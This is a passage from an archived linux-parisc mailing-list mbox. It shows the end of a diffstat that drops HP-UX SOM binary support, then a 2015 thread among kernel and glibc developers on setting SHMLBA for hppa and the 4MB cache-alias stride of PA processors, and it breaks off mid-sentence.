      fs/binfmt_som: Drop kernel support for HP-UX SOM binaries

Michael S. Tsirkin (2):
      parisc/uaccess: fix sparse errors
      parisc: macro whitespace fixes

Rickard Strandqvist (1):
      parisc: Remove unused function

 arch/parisc/Kconfig                   |   4 -
 arch/parisc/Makefile                  |   1 -
 arch/parisc/hpux/Makefile             |   5 -
 arch/parisc/hpux/entry_hpux.S         | 546 -------------------
 arch/parisc/hpux/fs.c                 | 192 -------
 arch/parisc/hpux/gate.S               | 107 ----
 arch/parisc/hpux/ioctl.c              |  72 ---
 arch/parisc/hpux/sys_hpux.c           | 963 ----------------------------------
 arch/parisc/hpux/wrappers.S           | 250 ---------
 arch/parisc/include/asm/processor.h   |   2 -
 arch/parisc/include/asm/uaccess.h     | 116 ++--
 arch/parisc/include/uapi/asm/unistd.h | 481 +----------------
 arch/parisc/kernel/entry.S            |  20 -
 arch/parisc/kernel/process.c          |  15 +-
 arch/parisc/kernel/signal.c           |  32 +-
 arch/parisc/kernel/smp.c              |   3 -
 arch/parisc/kernel/syscall_table.S    |   1 +
 arch/parisc/mm/init.c                 |  72 ---
 fs/Kconfig.binfmt                     |   7 -
 fs/Makefile                           |   1 -
 fs/binfmt_som.c                       | 299 -----------
 include/uapi/linux/Kbuild             |   1 -
 include/uapi/linux/som.h              | 154 ------
 23 files changed, 80 insertions(+), 3264 deletions(-)
 delete mode 100644 arch/parisc/hpux/Makefile
 delete mode 100644 arch/parisc/hpux/entry_hpux.S
 delete mode 100644 arch/parisc/hpux/fs.c
 delete mode 100644 arch/parisc/hpux/gate.S
 delete mode 100644 arch/parisc/hpux/ioctl.c
 delete mode 100644 arch/parisc/hpux/sys_hpux.c
 delete mode 100644 arch/parisc/hpux/wrappers.S
 delete mode 100644 fs/binfmt_som.c
 delete mode 100644 include/uapi/linux/som.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Fri, 20 Feb 2015 16:36:48 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	<201312191619.05005.vapier@gentoo.org>
	<5313A12E.7010307@gmx.de>
	<20140401182627.GA3285@drone.musicnaut.iki.fi>
	<533B0A57.2060700@gmx.de>
	<CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	<533C7C9A.5080703@gmx.de>
	<BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	<533DB961.9010607@gmx.de>
	<BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
	<533DC3E8.5010701@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1424468219 15944 80.91.229.3 (20 Feb 2015 21:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2015 21:36:59 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 22:36:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YOvFi-0006v9-JD
	for glpp-linux-parisc@plane.gmane.org; Fri, 20 Feb 2015 22:36:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754574AbbBTVgu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2015 16:36:50 -0500
Original-Received: from mail-oi0-f45.google.com ([209.85.218.45]:48272 "EHLO
	mail-oi0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754429AbbBTVgt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2015 16:36:49 -0500
Original-Received: by mail-oi0-f45.google.com with SMTP id i138so4856694oig.4
        for <linux-parisc@vger.kernel.org>; Fri, 20 Feb 2015 13:36:48 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=e/1n0T9eWRTPnK1H3pZoXCAyKF6WlsLF2Mwxj9z2IS8=;
        b=j907RQIVcvpRZMeg31rKH/dXM4hNOytMxhY57+HSDQAn0MdZ2eTjH02vsvA7+As4/I
         nn7sD6Q6Jn8azBBgYW2HSyp3JoANkfP5LjSBvknsVqgXTsEJZRk/sL762FOiHrb9MxU2
         9zNmM4Kv5pFfU/nRHT7cxA7SYDDk6ZHwrYjoA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=e/1n0T9eWRTPnK1H3pZoXCAyKF6WlsLF2Mwxj9z2IS8=;
        b=YNxGeNYXw/b/I2mx3PVDVmNl8C5oCDKFllbsAjNPDtvfcb7Kaa6Q8v5xnHq+0dVgmU
         25YYN90aFBkEzfMVQ5K/md72r8gjEnUgGbMYLoRYYrmptyke6PDLX0mg4RlXL9hX1+Cj
         LOlbNM/hhZVSPJAY0SJbJgbATX71fsWDUvAncE58iNoShQNewHLu+SDDIFAbLbEpxOa3
         ojjRPMq0lSwGpSMqD623cWej2qRDK8vAgCDnGaCyL7D2coND0gpwL2oBa3I4mbM5JwYr
         3iv0q5CdnKRBYkgPhWxYYzvSK9kIkfJ80HFniMfUIn/laqjg2CJdWApqcOjXvqeU/rsd
         2ctg==
X-Gm-Message-State: ALoCoQmKuSaW8zH3+Ug4+/mcEZnvbBJwe6Pg25SPXFt7uKd6mI1SW0soy731Qmdu0EwLz2j2iHnl
X-Received: by 10.202.195.68 with SMTP id t65mr7374474oif.105.1424468208695;
 Fri, 20 Feb 2015 13:36:48 -0800 (PST)
Original-Received: by 10.76.56.65 with HTTP; Fri, 20 Feb 2015 13:36:48 -0800 (PST)
X-Originating-IP: [76.66.149.25]
In-Reply-To: <533DC3E8.5010701@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25581>

On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
> In current eglibc it's set to 0x00400000
> That's what my eglibc-patch changes...
> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).

Anyone object to me fixing this upstream by making SHMLBA match the kernel?

I plan to use a fixed value of 4096, since I never expect hppa
userspace to have to care (even if the kernel uses superpages).

Please correct me if I'm wrong.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sat, 21 Feb 2015 15:31:00 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1424550673 1526 80.91.229.3 (21 Feb 2015 20:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2015 20:31:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 21 21:31:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPGhd-0007X1-E8
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Feb 2015 21:31:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751647AbbBUUbE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2015 15:31:04 -0500
Original-Received: from blu004-omc4s25.hotmail.com ([65.55.111.164]:58238 "EHLO
	BLU004-OMC4S25.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751448AbbBUUbE convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2015 15:31:04 -0500
Original-Received: from BLU436-SMTP159 ([65.55.111.137]) by BLU004-OMC4S25.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sat, 21 Feb 2015 12:31:02 -0800
X-TMN: [PzFnIHya+mLNLEghndtg2vDsSAR7lpvD]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 21 Feb 2015 20:31:01.0727 (UTC) FILETIME=[4ECFDEF0:01D04E15]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25582>

On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:

> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>> In current eglibc it's set to 0x00400000
>> That's what my eglibc-patch changes...
>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
> 
> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
> 
> I plan to use a fixed value of 4096, since I never expect hppa
> userspace to have to care (even if the kernel uses superpages).

We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
Is there a performance advantage in using 4096?

> 
> Please correct me if I'm wrong.


At one time, we thought this value needed to be 4 MB.  Helge was working on improving the mmap
allocation scheme but this work stalled after some improvement.  I can't remember the issues and how
they relate to SHMLBA.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sat, 21 Feb 2015 15:40:14 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com> <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1424551229 9564 80.91.229.3 (21 Feb 2015 20:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2015 20:40:29 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 21 21:40:20 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPGqa-0004Wz-23
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Feb 2015 21:40:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751725AbbBUUkS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2015 15:40:18 -0500
Original-Received: from blu004-omc4s21.hotmail.com ([65.55.111.160]:60054 "EHLO
	BLU004-OMC4S21.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751717AbbBUUkS convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2015 15:40:18 -0500
Original-Received: from BLU437-SMTP92 ([65.55.111.137]) by BLU004-OMC4S21.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sat, 21 Feb 2015 12:40:17 -0800
X-TMN: [kIaX81kUjQjE5NzpH5GwRJz2kDSnmevS]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 21 Feb 2015 20:40:16.0408 (UTC) FILETIME=[996D7980:01D04E16]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25583>

On 2015-02-21, at 3:31 PM, John David Anglin wrote:

> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
> 
>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>> In current eglibc it's set to 0x00400000
>>> That's what my eglibc-patch changes...
>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>> 
>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>> 
>> I plan to use a fixed value of 4096, since I never expect hppa
>> userspace to have to care (even if the kernel uses superpages).
> 
> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> Is there a performance advantage in using 4096?
> 
>> 
>> Please correct me if I'm wrong.
> 
> 
> At one time, we thought this value needed to be 4 MB.  Helge was working on improving the mmap
> allocation scheme but this work stalled after some improvement.  I can't remember the issues and how
> they relate to SHMLBA.


Actually, the number was 4 Mb (bit).

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sat, 21 Feb 2015 22:04:10 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <54E8F2CA.6060904@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl> <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de> <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl> <533DC3E8.5010701@gmx.de> <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com> <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424552666 31433 80.91.229.3 (21 Feb 2015 21:04:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2015 21:04:26 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 21 22:04:18 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPHDl-0006cL-75
	for glpp-linux-parisc@plane.gmane.org; Sat, 21 Feb 2015 22:04:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751647AbbBUVEP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2015 16:04:15 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:62872 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750746AbbBUVEO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2015 16:04:14 -0500
Original-Received: from [192.168.20.60] ([84.173.1.4]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LeRKD-1Xkg9W11W1-00q8VW; Sat, 21 Feb 2015 22:04:11
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
X-Provags-ID: V03:K0:QoXnUYCPV6jYxSNSjjLEqXxVTRLJJX3W1a1hUrpHuSsHuZVJ3vy
 buKndlCvnZT5acaux5PlB7lEVmu9o8k6aHOHWbqlDWkKoBZdHNcTxEwKUa4s9wyb0v+n3A0
 fQWUC1re/Ss9v/OeIIcFSb98CPZR/2NyaC6rvJirNELfcFBxEzYTpuf9HCFd0v7GhGM4TPF
 6sWyykxccscxRlB6CNdBw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25584>

On 21.02.2015 21:31, John David Anglin wrote:
> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>
>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>> In current eglibc it's set to 0x00400000
>>> That's what my eglibc-patch changes...
>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>
>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?

I think to remember that that would be best.
Didn't I pushed this (SHMLBA=4k) to eglibc?

>> I plan to use a fixed value of 4096, since I never expect hppa
>> userspace to have to care (even if the kernel uses superpages).

Yes.

> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> Is there a performance advantage in using 4096?

Yes, we have:
Index: eglibc-2.18/ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h
===================================================================
--- eglibc-2.18.orig/ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h      2013-01-09 19:28:48.000000000 -0500
+++ eglibc-2.18/ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h   2014-04-09 21:08:06.516202583 -0400
@@ -36,7 +36,7 @@
  #define SHM_UNLOCK     12              /* unlock segment (root only) */

  /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000              /* address needs to be 4 Mb aligned */
+#define SHMLBA         (__getpagesize ())

I prefer this for glibc as well.

> At one time, we thought this value needed to be 4 MB.  Helge was working on improving the mmap
> allocation scheme but this work stalled after some improvement.

They are just on hold, but not that needed any more after we have the flexmap implementation.

> I can't remember the issues and how they relate to SHMLBA.

I would need to recall too. IIRC, SHMLBA and the 4MB cache alignments do not really relate to each
other. Userspace should just mmap(X) where X is aligned to SHMLBA. The mmap will then
mmap to the next possible address (starting somewhere above/equal to X) and still fulfilling the 4MB cache
alignment (if it's a shared mmap).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sat, 21 Feb 2015 15:09:18 -0800
Lines: 54
Approved: news@gmane.org
Message-ID: <1424560158.2146.22.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>
	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
	 <533DC3E8.5010701@gmx.de>
	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424560174 13928 80.91.229.3 (21 Feb 2015 23:09:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2015 23:09:34 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Helge Deller <deller@gmx.de>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 00:09:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPJAq-000253-BD
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 00:09:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751744AbbBUXJV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2015 18:09:21 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46548 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751730AbbBUXJU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2015 18:09:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C501A8EE114;
	Sat, 21 Feb 2015 15:09:19 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FCb8AQH6B6Py; Sat, 21 Feb 2015 15:09:19 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 420538EE0BA;
	Sat, 21 Feb 2015 15:09:19 -0800 (PST)
In-Reply-To: <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25585
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25585>

On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
> 
> > On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
> > 
> >> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
> >>> In current eglibc it's set to 0x00400000
> >>> That's what my eglibc-patch changes...
> >>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
> >> 
> >> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
> >> 
> >> I plan to use a fixed value of 4096, since I never expect hppa
> >> userspace to have to care (even if the kernel uses superpages).
> > 
> > We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> > Is there a performance advantage in using 4096?
> > 
> >> 
> >> Please correct me if I'm wrong.
> > 
> > 
> > At one time, we thought this value needed to be 4 MB.  Helge was
> working on improving the mmap
> > allocation scheme but this work stalled after some improvement.  I
> can't remember the issues and how
> > they relate to SHMLBA.
> 
> 
> Actually, the number was 4 Mb (bit).

No, it was 4MB.  That's the cache equivalency stride on PA processors
because we have a VIPT cache.  The architectural requirement according
to the dreaded appendix F is 16MB but we were assured by the PA
architects that it was 4 because they never planned producing processors
that would require 16.  The actual meaning is it's the number of bits of
the virtual address that are significant in the virtual index.

The point of SHMLBA is that if the same physical page is mapped into two
different virtual addresses but the two addresses are equal, modulo
SHMLBA, then the L1 cache sees the equivalency and you can't get
inequivalent cache aliases for the page (two writes to the two different
